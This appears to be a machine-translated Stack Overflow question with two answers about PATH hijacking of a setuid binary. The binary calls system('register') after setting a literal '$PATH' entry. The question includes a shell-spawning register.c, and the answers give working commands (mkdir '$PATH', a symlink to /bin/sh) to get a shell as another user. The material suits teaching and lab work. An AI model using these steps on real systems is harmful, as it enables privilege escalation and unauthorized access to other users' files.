通过SUID

时间:2018-09-15 11:18:43

标签: c directory

也许这应该在askubuntu堆栈交换上,但是无论如何...

我具有以下目录结构:

bar@test:/$ cd /home/foo/Public
bar@test:/home/foo/Public$ ls -l
-rwsr-xr-x 1 foo foo 7632 Sep 30 foo-secret*

foo@test:/$ cd /home/foo/Private
foo@test:/home/foo/Private$ ls -l
-rws------ 1 foo foo 7084 Sep 30 register*
-rws------ 1 foo foo 7162 Sep 30 show-secret*
-rw------- 1 foo foo 1361 Sep 30 secret-file

如果我运行./foo-secret badpassword,我会得到:

bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$

作为栏,我无法访问foo的“私人”文件夹。现在,foo-secret接受一个参数,即foo的密码(我不知道)。我知道foo-secret的身份验证如下:

putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");

if (authenticate("foo", argv[1])) {
   system("show-secret");
} else {
   printf("You entered a bad password. Register new account (y/N)?");
   ans=getchar();
   if (ans == 'y') system("register");
}

最初,我认为只需创建一个名为register的新二进制文件并将其放入/home/bar/bin中,然后将home/bar/bin添加到PATH即可,即

bar@test:/home/bar$ mkdir bin
bar@test:/home/bar$ cd bin
bar@test:/home/bar/bin$ gcc register.c -o register
bar@test:/home/bar/bin$ chmod +x register
bar@test:/home/bar/bin$ cd /home/foo/Public
bar@test:/home/foo/Public$ export PATH=/home/bar/bin

新的register.c为:

#include <stdio.h>

int main() {
   system("/bin/sh");
}

这个想法是,由于我知道foo-secretregister二进制文件进行了系统调用,因此我可以制作一个名为register的新二进制文件,它会在更改权限后打开一个外壳程序/提升为foo的值(这意味着我可以再读取foo的secret-file)。不过,使用更改后的./foo-secret badpassword运行PATH仍然会产生:

bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$

...而不是按预期方式打开外壳。我假设它是因为程序本身添加了PATH变量。因此,我的问题是:如何强制foo-secret使用我的register而不是/home/foo/Private中的那个?

2 个答案:

答案 0 :(得分:1)

如果setuid foo-secret程序C源确实存在

putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");

这意味着PATH环境变量将以$PATH:开头,这意味着第一个目录外壳将在其中查找二进制文件,即当前工作目录下的目录$PATH

(其中的目录用冒号分隔。如果目录以斜杠开头,则是绝对目录,即从根目录开始;否则,它是相对于当前工作目录的。)

因此,您所需要做的就是使用您拥有的某个目录,例如您的主目录,在其中创建一个$PATH子目录,然后在其中放置一个名为register的符号链接,该符号链接指向您的shell想使用:

cd
mkdir '$PATH'
ln -s /bin/sh '$PATH/register'
/home/foo/public/foo-secret badpassword

如果您随后尝试注册,则system("register")行将最终执行shell符号链接。由于foo-secret是setuid foo,因此该shell将以用户foo的身份运行。

答案 1 :(得分:0)

foo-secret附加到PATH;因此您应该能够:

PATH=/my/nefarious/path:${PATH} ./foo-secret badpass

并将/ bin / sh复制到/ my / nefarious / path / register。 除了显示的foo-secret.c的代码外:

putenv("PATH=$PATH:/...");

不附加到PATH。变量赋值需要作为shell函数执行;设置静态env-var将无济于事。 但是,如果您:

mkdir \$PATH
cp /bin/ls \$PATH/register

它应该做您希望的事情。